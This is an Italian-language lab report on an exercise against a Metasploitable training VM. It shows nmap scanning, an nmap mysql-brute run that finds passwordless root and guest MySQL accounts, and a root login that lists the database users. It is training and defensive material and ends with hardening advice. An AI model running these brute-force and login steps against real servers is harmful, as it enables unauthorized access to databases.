

INDICE

INDICE.....	1
INTRODUZIONE ED OBIETTIVO.....	2
METODOLOGIA OPERATIVA.....	3-5
CONCLUSIONE.....	6

INTRODUZIONE ED OBIETTVO

INTRODUZIONE: il laboratorio consiste nell'analisi del servizio MySQL esposto su un sistema target Metasploitable, con l'obiettivo di verificare se una configurazione non sicura consenta l'accesso non autorizzato al database.

L'attività prevede una fase iniziale di individuazione del servizio in ascolto sulla porta 3306, seguita da un'attività di enumerazione delle credenziali e dall'accesso diretto al database tramite strumenti standard di analisi di sicurezza.

Attraverso questo esercizio viene simulato uno scenario realistico in cui un attaccante, partendo da un servizio di database esposto in rete, tenta di ottenere informazioni sugli account configurati, sfruttando credenziali deboli o assenti. L'analisi mette in evidenza come una configurazione MySQL non adeguatamente protetta possa consentire l'accesso agli account di sistema del database e rappresentare un punto di partenza per compromissioni più gravi.

OBIETTIVO: ottenere la lista degli utenti MySQL presenti sul sistema Metasploitable, utilizzando tecniche di enumerazione basate su scansioni di rete e sull'accesso diretto al servizio di database.

METODOLOGIA OPERATIVA

```
Session Actions Edit View Help
(root@kali)-[/home/kali]
# ping -c 4 192.168.50.200
PING 192.168.50.200 (192.168.50.200) 56(84) bytes of data.
64 bytes from 192.168.50.200: icmp_seq=1 ttl=64 time=1.41 ms
64 bytes from 192.168.50.200: icmp_seq=2 ttl=64 time=3.19 ms
64 bytes from 192.168.50.200: icmp_seq=3 ttl=64 time=1.25 ms
64 bytes from 192.168.50.200: icmp_seq=4 ttl=64 time=1.28 ms

--- 192.168.50.200 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3108ms
rtt min/avg/max/mdev = 1.253/1.783/3.189/0.813 ms
(root@kali)-[/home/kali]

msfadmin@metasploitable:~$ ping -c 4 192.168.50.100
PING 192.168.50.100 (192.168.50.100) 56(84) bytes of data.
64 bytes from 192.168.50.100: icmp_seq=1 ttl=64 time=1.65 ms
64 bytes from 192.168.50.100: icmp_seq=2 ttl=64 time=2.45 ms
64 bytes from 192.168.50.100: icmp_seq=3 ttl=64 time=1.42 ms
64 bytes from 192.168.50.100: icmp_seq=4 ttl=64 time=1.86 ms

--- 192.168.50.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 1.424/1.850/2.457/0.385 ms
msfadmin@metasploitable:~$
```

Prima di procedere con le attività di analisi del servizio MySQL, è stata verificata la connettività di rete tra la macchina di attacco Kali Linux e il sistema target Metasploitable. Mediante ping è stato confermato che le due macchine erano correttamente raggiungibili e in grado di comunicare tra loro senza perdite di pacchetti; questa verifica ha consentito di escludere problematiche di rete e di proseguire con le successive fasi dell'esercizio in un ambiente correttamente funzionante.

```
(root@kali)-[/home/kali]
# nmap -sV 192.168.50.200 -p 3306
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-05 12:24 EST
Nmap scan report for 192.168.50.200
Host is up (0.0012s latency).

PORT      STATE SERVICE VERSION
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 08:00:27:82:1F:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds
```

A seguire è stata effettuata un'analisi del servizio MySQL esposto sul sistema target Metasploitable, al fine di verificare la presenza di configurazioni non sicure. L'attività ha consentito di individuare il servizio di database in esecuzione e di confermarne l'accessibilità; successivamente è stata svolta un'attività di enumerazione delle credenziali associate al servizio MySQL, che ha permesso di identificare account autenticabili senza password. Sfruttando le credenziali individuate, è stato possibile accedere direttamente al database e procedere con l'analisi delle informazioni di sistema; in particolare, è stato interrogato il database di sistema per ottenere l'elenco degli utenti configurati sul server MySQL. I risultati hanno evidenziato la presenza degli account debian-sys-maint, root e guest, confermando una configurazione del servizio non adeguatamente protetta e potenzialmente esposta ad accessi non autorizzati.

```

(root@kali)-[/home/kali]
# nmap --script=mysql-brute 192.168.50.200

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-05 12:45 EST
Nmap scan report for 192.168.50.200
Host is up (0.0015s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
| mysql-brute:
|   Accounts:
|     root:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|_ Statistics: Performed 40013 guesses in 123 seconds, average tps: 328.8
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:82:1F:B4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 135.73 seconds

```

A seguire è stata effettuata un'attività di analisi del sistema target finalizzata alla verifica della configurazione del servizio MySQL esposto.

L'analisi ha permesso di individuare il servizio di database attivo e di procedere con un'attività di enumerazione delle credenziali associate; i risultati hanno evidenziato la presenza di account MySQL autenticabili senza password, in particolare gli utenti root e guest.

Sfruttando le credenziali individuate, è stato possibile accedere al database e interrogare il database di sistema, ottenendo l'elenco degli utenti configurati sul server, l'analisi ha confermato la presenza degli account debian-sys-maint, root e guest, evidenziando una configurazione del servizio MySQL non adeguatamente protetta e suscettibile ad accessi non autorizzati.

```
Session  Actions  Edit  View  Help
(kali㉿kali)-[~]
$ mysql -u root -h 192.168.50.200 --skip-ssl

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> USE mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [mysql]> SELECT User, Host, Password FROM user;
+-----+-----+-----+
| User          | Host      | Password |
+-----+-----+-----+
| debian-sys-maint |          |          |
| root          | %         |          |
| guest         | %         |          |
+-----+-----+-----+
3 rows in set (0.002 sec)

MySQL [mysql]> █
```

A seguito dell'individuazione di credenziali MySQL valide, è stato effettuato l'accesso diretto al servizio di database utilizzando l'account root.

Una volta stabilita la connessione, è stato selezionato il database di sistema ed è stata eseguita un'operazione di interrogazione finalizzata all'ottenimento dell'elenco degli utenti configurati sul server MySQL.

L'output ha restituito la presenza degli account debian-sys-maint, root e guest, confermando che il servizio di database era configurato in modo non sicuro e consentiva la visualizzazione di informazioni sensibili relative agli utenti senza l'applicazione di adeguati meccanismi di protezione.

CONCLUSIONE

L'esercizio ha dimostrato come l'esposizione di un servizio MySQL configurato in modo non sicuro possa consentire a un attaccante di ottenere accesso non autorizzato al database e di enumerare gli account di sistema.

La presenza di utenti autenticabili senza password e l'assenza di adeguate misure di hardening evidenziano un rischio significativo per la sicurezza del sistema, in quanto tali condizioni possono rappresentare un punto di ingresso per ulteriori compromissioni.

L'attività svolta ha quindi evidenziato l'importanza di una corretta configurazione dei servizi di database e dell'adozione di meccanismi di autenticazione e controllo degli accessi adeguati.